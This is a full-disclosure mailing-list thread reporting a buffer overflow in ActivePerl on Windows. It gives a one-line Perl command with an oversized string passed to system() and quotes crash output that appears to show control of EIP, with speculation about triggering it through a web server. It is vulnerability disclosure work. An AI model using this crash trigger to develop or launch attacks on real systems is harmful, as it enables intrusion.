full-disclosure - Re: Buffer Overflow in ActivePerl ?

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From: npguy at websurfer.com.np (npguy)
Subject: Re: Buffer Overflow in ActivePerl ?

perl, v5.8.2 MSWin32-x86-multi-thread suffer the same.

Tuesday, May 18, 2004, 7:14:41 PM, you wrote:

NF> "Oliver@...yhat.de" <Oliver@...yhat.de> wrote:

>> i played around with ActiveState's ActivePerl for Win32, and crashed
>> Perl.exe with the following command:
>> 
>> perl -e "$a="A" x 256; system($a)"

NF> Ditto -- "v5.8.0 built for MSWin32-x86-multi-thread" on Win2K SP4 plus
NF> all but last week's security patch:

NF>    perl -e "$a="A" x 256; system($a)"

NF>    perl.exe - Application error

NF>    Unhandled instruction at "0x77fcc83d" referenced memory at
NF>    "0x00657865.  The memory could not be "written".

NF> Also, it is likely exploitable -- push up the number of A's a bit:

NF>    C:\>perl -e "$a="A" x 259; system($a)"

NF>    perl.exe - Application error

NF>    Unhandled instruction at "0x77fcc83d" referenced memory at
NF>    "0x65004141.  The memory could not be "written".

NF> and we seem to get control of EIP.  Coincidence?  Try yet two more:

NF>    C:\>perl -e "$a="A" x 261; system($a)"

NF>    perl.exe - Application error

NF>    Unhandled instruction at "0x77fcc83d" referenced memory at
NF>    "0x41414141.  The memory could not be "written".

NF> Looks like full control of EIP...

NF> However, there is not likely to be a privilege escalation here unless
NF> perhaps a script processor on a web server can be cajoled into doing
NF> something with this??  (Not at all familiar with the innards of Windows
NF> web servers and their relationship to their CGI, etc processors...)

       npguy                            npguy?websurfer.com.np